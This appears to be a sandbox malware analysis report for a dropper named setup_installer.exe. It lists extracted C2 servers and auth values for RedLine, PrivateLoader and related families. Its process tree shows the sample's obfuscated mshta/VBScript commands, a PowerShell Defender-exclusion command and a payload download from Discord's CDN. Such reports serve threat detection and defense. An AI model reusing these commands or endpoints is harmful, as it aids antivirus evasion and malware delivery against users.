Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

abc0f6a293...5a.exe

windows7-x64

10

abc0f6a293...5a.exe

windows10-2004-x64

10

setup_installer.exe

windows7-x64

10

setup_installer.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 10:37 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_installer.exe

  • Size

    3.4MB

  • MD5

    264fbe02a8acae2ba9a5144f8b947aae

  • SHA1

    3de9e174bb8105895c3ef65fe49233cbb34b8778

  • SHA256

    ab3f08d6cfe4107ef0a285ce7862846169ec0e0f942b146e27e90919e48f9e24

  • SHA512

    11e0a03eb5004159a1c7dc84bb52caa7394740b87e375ce2be0701bd8b12445af01ee22ac7f9c91516b53cfca7e13619623524122d489e34946038732a2fe067

  • SSDEEP

    98304:xsCvLUBsg8IAEVN9nlglKZlLyCBk0v4W7W4YUMw8MB:xxLUCg57LyCBkYW43RRB

Score
10/10
fabookiegcleanernullmixeronlyloggerprivateloaderredlinesectopratanimedia11sheaspackv2discoverydropperexecutioninfostealerloaderratspywarestealertrojan

Malware Config

Extracted

Family

privateloader

C2

http://45.133.1.107/server.txt

pastebin.com/raw/A7dSG1te

http://wfsdragon.ru/api/setStats.php

51.178.186.149

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Attributes
  • auth_value

    b69102cdbd4afe2d3159f88fb6dac731

Extracted

Family

nullmixer

C2

http://hsiens.xyz/

Extracted

Family

redline

Botnet

media11

C2

91.121.67.60:2151

Attributes
  • auth_value

    e37d5065561884bb54c8ed1baa6de446

Extracted

Family

redline

Botnet

ANI

C2

45.142.215.47:27643

Attributes
  • auth_value

    9491a1c5e11eb6097e68a4fa8627fda8

Extracted

Family

gcleaner

C2

ggg-cl.biz

45.9.20.13

Signatures

  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • OnlyLogger

    A tiny loader that uses IPLogger to get its payload.

    loaderonlylogger
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 12 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 12 IoCs
  • OnlyLogger payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 64 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS00B98077\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1444
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon17742f90b916675f2.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17742f90b916675f2.exe
          Mon17742f90b916675f2.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1612
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon17eac6d534bfd22c7.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1988
        • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17eac6d534bfd22c7.exe
          Mon17eac6d534bfd22c7.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:2128
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17eac6d534bfd22c7.exe
            C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17eac6d534bfd22c7.exe
            5⤵
            • Executes dropped EXE
            PID:2524
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17eac6d534bfd22c7.exe
            C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17eac6d534bfd22c7.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2768
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon17c604381c7047e.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:832
        • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17c604381c7047e.exe
          Mon17c604381c7047e.exe
          4⤵
          • Executes dropped EXE
          PID:2832
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon17e1fac3fd3d84b.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2976
        • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17e1fac3fd3d84b.exe
          Mon17e1fac3fd3d84b.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1492
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17e1fac3fd3d84b.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17e1fac3fd3d84b.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2340
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17e1fac3fd3d84b.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17e1fac3fd3d84b.exe" ) do taskkill /F -Im "%~NxU"
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1164
              • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                09xU.EXE -pPtzyIkqLZoCarb5ew
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:280
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:1640
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:2988
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:692
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:1752
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:1664
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:2676
                    • C:\Windows\SysWOW64\control.exe
                      control .\R6f7sE.I
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:2520
                      • C:\Windows\SysWOW64\rundll32.exe
                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                        11⤵
                        • Loads dropped DLL
                        • System Location Discovery: System Language Discovery
                        PID:1552
                        • C:\Windows\system32\RunDll32.exe
                          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                          12⤵
                            PID:2644
                            • C:\Windows\SysWOW64\rundll32.exe
                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                              13⤵
                              • System Location Discovery: System Language Discovery
                              PID:2388
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F -Im "Mon17e1fac3fd3d84b.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1132
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon17b5f403be4d8d6b.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2964
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17b5f403be4d8d6b.exe
            Mon17b5f403be4d8d6b.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2836
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon17f45359eb9.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2424
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17f45359eb9.exe
            Mon17f45359eb9.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2512
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2512 -s 276
              5⤵
              • Loads dropped DLL
              • Program crash
              PID:2300
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon1785436ae78.exe /mixone
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2064
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon1785436ae78.exe
            Mon1785436ae78.exe /mixone
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            PID:2372
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon17948100733a95c58.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2384
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
            Mon17948100733a95c58.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:2232
            • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
              C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
              5⤵
              • Executes dropped EXE
              PID:2352
            • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
              C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2428
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon179e1058f256.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2844
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon179e1058f256.exe
            Mon179e1058f256.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2916
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon1795d04d4bd.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2420
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon1795d04d4bd.exe
            Mon1795d04d4bd.exe
            4⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:2184
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Mon178817e243.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2572
          • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon178817e243.exe
            Mon178817e243.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2172
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 452
          3⤵
          • Loads dropped DLL
          • Program crash
          PID:1792

    Network

    • flag-us
      DNS
      hsiens.xyz
      setup_install.exe
      Remote address:
      8.8.8.8:53
      Request
      hsiens.xyz
      IN A
      Response
    • flag-us
      DNS
      t.gogamec.com
      Mon17742f90b916675f2.exe
      Remote address:
      8.8.8.8:53
      Request
      t.gogamec.com
      IN A
      Response
    • flag-us
      DNS
      ip-api.com
      Mon17c604381c7047e.exe
      Remote address:
      8.8.8.8:53
      Request
      ip-api.com
      IN A
      Response
      ip-api.com
      IN A
      208.95.112.1
    • flag-us
      GET
      http://ip-api.com/json/
      Mon17c604381c7047e.exe
      Remote address:
      208.95.112.1:80
      Request
      GET /json/ HTTP/1.1
      Connection: Keep-Alive
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
      viewport-width: 1920
      Host: ip-api.com
      Response
      HTTP/1.1 200 OK
      Date: Thu, 22 Aug 2024 10:37:19 GMT
      Content-Type: application/json; charset=utf-8
      Content-Length: 311
      Access-Control-Allow-Origin: *
      X-Ttl: 52
      X-Rl: 43
    • flag-us
      DNS
      cdn.discordapp.com
      Mon178817e243.exe
      Remote address:
      8.8.8.8:53
      Request
      cdn.discordapp.com
      IN A
      Response
      cdn.discordapp.com
      IN A
      162.159.134.233
      cdn.discordapp.com
      IN A
      162.159.135.233
      cdn.discordapp.com
      IN A
      162.159.133.233
      cdn.discordapp.com
      IN A
      162.159.130.233
      cdn.discordapp.com
      IN A
      162.159.129.233
    • flag-us
      DNS
      topniemannpickshop.cc
      Mon1795d04d4bd.exe
      Remote address:
      8.8.8.8:53
      Request
      topniemannpickshop.cc
      IN A
      Response
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:23 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=dbuUfrOnCd51nFJza9PXVMqKIyDZMCA2LdTLrwrIUYU-1724323043-1.0.1.1-33QuuySDC1cYf9qOU8aY_IYxsGGkHVy9g31kc7BRTfxOghMf0zcQLK7DqqhcDDQ_TT1Jc.5vKPseK_u9ciORgw; path=/; expires=Thu, 22-Aug-24 11:07:23 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adKXvQ4wixSkSgOodPf0LtuC4qYt70c4tBONvXEzWNmioFr89mZleQQm4jnjUIWG287do5Ytq8Rv7BGBwCO%2By9q6TR8tbEYAK7ymm2MR8mdueEivI7nHUBE%2BgfEQpD%2BE%2F0VSiQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=jzxPQNWPj9thT7B1Q_s583rHmPkpzWxLu3hi.ry2hXA-1724323043271-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723a2c5e4a93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:28 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=2igb.NvlhIW4.pv5JsTDsj91rcQg2XiKXfhHHfeJwzs-1724323048-1.0.1.1-WhnyQCoLhdMvuAMwsgj75j.pc_ZigxwzFJXspwcfIjiyr0fEeTflyLJAZsUtXFAbURwQwjX8Sw7hsoPxAo8ELg; path=/; expires=Thu, 22-Aug-24 11:07:28 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BIvmtxHAhWPtTLHDmDAmx2kAlDKFIzvDrWUmfJw8d7tvswfOABxBnwtHw0vGnXTi2uewQIBOcpodhcgtxJGbFVPKFM1ywcCguoi4sV7oqnzI%2Bbl%2Bmi5gPLeNMAxJmYjYDPtHkg%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=6A8dUkA9QdSsZasHury6TzBGeENOeP61ZzewHI_Ajt0-1724323048340-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723a4c0b7793f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:33 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=0PrBtPduMh0mt7o2i6q3I2i.BwYhBGVAY8hvGeawpHY-1724323053-1.0.1.1-NT9XTn0ZvcSU7OoT8E2cVCf4T8ihEctyDSPvjRp4jSavQ3QE9bKkETpAsrpj8HInHduWvC7M1.Vb.WyvaqMwrQ; path=/; expires=Thu, 22-Aug-24 11:07:33 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXudJt5UoN3MH9BquapRXhhcE%2BiNTC89DCr5A9PxmdP8MPsG340rQo8ZP8dEXhFcCO6g7CB1nL9kx67QGk7E0i0%2B%2BEphCQL43%2FGloToNz4rDg9Ro5ynVhPqkoIjSDITVqXO%2FWA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=FdW1kFIUwg7ktazQbEcjOa7fVFNkrsJ7isnE9QZQab0-1724323053417-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723a6bcde493f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:38 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=aMT23mSuhR8lYcVp7JuyvAxuNObk_G4PwZ3pVV0evg0-1724323058-1.0.1.1-HWNhYrZkkEnkepBNCsKF9DjB3bmcheGAt8o80.pjE6vzRgoj5foK1JwYXtUIyxkiGn2meg5unJW758gwncowjg; path=/; expires=Thu, 22-Aug-24 11:07:38 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KsVcJMAu8%2Fpl1Z8muuIGQ%2BAKqrEGJDrZZC9VbT6Adrwqm2VYEFHwqeW4up1wqqrmjLL3iPhVzWYfSYiwVVsT%2B7gC6PYEYn6csXRAyx8QP4LaiS4PVCfOkcMDmqAT4OZtCOyUrQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=zIxtzkdkRjW71S75ZyjlVqoKhZ6TRqmkjgYu6cgccCg-1724323058519-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723a8bab2593f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:43 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=J9i6YRWPNDwFNxkfGRE7_ZxfHG6UX5cO09yhMPXveII-1724323063-1.0.1.1-xHntPQFT216vhnodqgjtP50qmsWzLbS26FF5jAOIt_CkOLkeEV_WO16lxDiKifPsySkF4q83cHvNsb8O0biXAw; path=/; expires=Thu, 22-Aug-24 11:07:43 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5hKB%2Bj4JXf7tbWFKerWHFSex5QcD6%2FqSWrtkE%2F4cZWla2294YLRu5BxwlBSfbvD8R1YnkyjzyYHy8%2F3WoHeOjzp18c8huvwm8HPJLqKJOtotmW%2F3VfzcqSX2q9ILRZ9efW90Ow%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=JgUMeYbZK1bblzU18h7UjvcnZMQ0dZ7F0ADhfS4vvL4-1724323063600-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723aab680d93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:48 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=duNSjCy8vLAmpypfBPeoVrW7lVKXU5uEXZoaGcNF394-1724323068-1.0.1.1-aUSVWVAKm_f7vcSJ4.6y_gK.b..kNWUqsxTHvuNNLW1XljzpCpuclrjNqGuzyui087uITtUCo618_bSROLnGZw; path=/; expires=Thu, 22-Aug-24 11:07:48 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rjl7Ejs7y7SBw6eE%2Bl7rbF9rbSjw%2FZjhO1LcLKHqaTsKtUfueLQXqWjlcCfvG%2Fxb0%2FQzYK7011Z%2B8bjOP8MWhP1rtH8xitUyabwajpNhyCmugQeiIEYZIrxHL49v0tOOu2U3rQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=AZN4zTHfBTPDegmSop0FQHneWOGSn1l8cYxAqE1bU48-1724323068659-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723acb0e4e93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:54 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
